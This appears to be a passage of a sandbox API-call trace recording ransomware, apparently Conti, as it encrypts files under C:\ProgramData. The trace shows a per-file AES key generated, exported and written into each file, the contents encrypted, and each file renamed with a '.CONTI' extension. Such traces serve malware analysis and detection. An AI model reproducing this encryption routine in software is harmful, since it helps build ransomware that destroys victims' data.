	[0113.530] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c1094, pdwDataLen=0x5affca4 | out: pbData=0x65c1094*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0113.531] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.531] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0113.531] GetLastError () returned 0x0
	[0113.531] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=715) returned 1
	[0113.531] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0113.531] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.531] SetEndOfFile (hFile=0x3fc) returned 1
	[0113.532] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.532] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.532] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c1094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65c1094*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.534] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.535] ReadFile (in: hFile=0x3fc, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2cb, lpOverlapped=0x0) returned 1
	[0113.535] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2cb, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d0) returned 1
	[0113.535] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.535] WriteFile (in: hFile=0x3fc, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.535] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.535] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c1088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65c1088*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0113.535] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.535] CloseHandle (hObject=0x3fc) returned 1
	[0113.535] GetProcessHeap () returned 0x1720000
	[0113.535] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.535] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml"
	[0113.535] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.535] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.536] GetProcessHeap () returned 0x1720000
	[0113.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.536] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0113.536] GetProcessHeap () returned 0x1720000
	[0113.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd2d8 | out: hHeap=0x1720000) returned 1
	[0113.536] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0113.536] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65c2088 | out: phKey=0x65c2088*=0x17c8470) returned 1
	[0113.536] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c208c, pdwDataLen=0x5affca4 | out: pbData=0x65c208c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0113.537] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.537] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0113.537] GetLastError () returned 0x0
	[0113.537] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=450) returned 1
	[0113.537] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c2
	[0113.537] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.537] SetEndOfFile (hFile=0x3fc) returned 1
	[0113.602] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.602] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.602] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c208c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65c208c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.610] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.610] ReadFile (in: hFile=0x3fc, lpBuffer=0x11710000, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x1c2, lpOverlapped=0x0) returned 1
	[0113.610] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1c2, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1d0) returned 1
	[0113.610] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.610] WriteFile (in: hFile=0x3fc, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.610] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.610] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c2080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65c2080*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0113.610] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.610] CloseHandle (hObject=0x3fc) returned 1
	[0113.610] GetProcessHeap () returned 0x1720000
	[0113.610] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.610] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.610] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.610] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.611] GetProcessHeap () returned 0x1720000
	[0113.611] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.611] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0113.611] GetProcessHeap () returned 0x1720000
	[0113.611] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd420 | out: hHeap=0x1720000) returned 1
	[0113.611] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0113.611] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65c22d0 | out: phKey=0x65c22d0*=0x17c8470) returned 1
	[0113.611] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c22d4, pdwDataLen=0x5affca4 | out: pbData=0x65c22d4*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0113.612] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.613] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0113.613] GetLastError () returned 0x0
	[0113.613] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=702) returned 1
	[0113.613] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2be
	[0113.613] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.613] SetEndOfFile (hFile=0x3fc) returned 1
	[0113.613] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.613] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.614] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c22d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65c22d4*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.619] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.619] ReadFile (in: hFile=0x3fc, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2be, lpOverlapped=0x0) returned 1
	[0113.619] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2be, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2c0) returned 1
	[0113.619] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.619] WriteFile (in: hFile=0x3fc, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.619] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.619] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c22c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65c22c8*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0113.619] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.619] CloseHandle (hObject=0x3fc) returned 1
	[0113.620] GetProcessHeap () returned 0x1720000
	[0113.620] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.620] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml"
	[0113.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.620] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.993] GetProcessHeap () returned 0x1720000
	[0114.993] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0114.994] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0114.994] GetProcessHeap () returned 0x1720000
	[0114.994] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cde60 | out: hHeap=0x1720000) returned 1
	[0114.994] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0114.994] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65dd958 | out: phKey=0x65dd958*=0x6b7f3b8) returned 1
	[0114.994] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd95c, pdwDataLen=0x5affca4 | out: pbData=0x65dd95c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0114.995] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\RegisterInboxTemplates.ps1" (normalized: "c:\\programdata\\microsoft\\uev\\scripts\\registerinboxtemplates.ps1")) returned 0x20
	[0114.996] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\RegisterInboxTemplates.ps1" (normalized: "c:\\programdata\\microsoft\\uev\\scripts\\registerinboxtemplates.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.996] GetLastError () returned 0x5
	[0114.997] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0114.997] GetProcessHeap () returned 0x1720000
	[0114.997] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bdf8 | out: hHeap=0x1720000) returned 1
	[0114.997] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0114.997] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65ddde8 | out: phKey=0x65ddde8*=0x6b7f3b8) returned 1
	[0114.997] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dddec, pdwDataLen=0x5affca4 | out: pbData=0x65dddec*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0114.997] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd")) returned 0x20
	[0114.998] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.998] GetLastError () returned 0x5
	[0114.998] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0114.998] GetProcessHeap () returned 0x1720000
	[0114.998] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9070 | out: hHeap=0x1720000) returned 1
	[0114.998] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0114.998] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65dc960 | out: phKey=0x65dc960*=0x6b7f3b8) returned 1
	[0114.998] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc964, pdwDataLen=0x5affca4 | out: pbData=0x65dc964*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0114.999] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd")) returned 0x20
	[0114.999] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.999] GetLastError () returned 0x5
	[0114.999] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0114.999] GetProcessHeap () returned 0x1720000
	[0115.000] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181be40 | out: hHeap=0x1720000) returned 1
	[0115.000] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0115.000] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65ddba0 | out: phKey=0x65ddba0*=0x6b7f4f8) returned 1
	[0115.000] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ddba4, pdwDataLen=0x5affca4 | out: pbData=0x65ddba4*, pdwDataLen=0x5affca4*=0x20c) returned 1
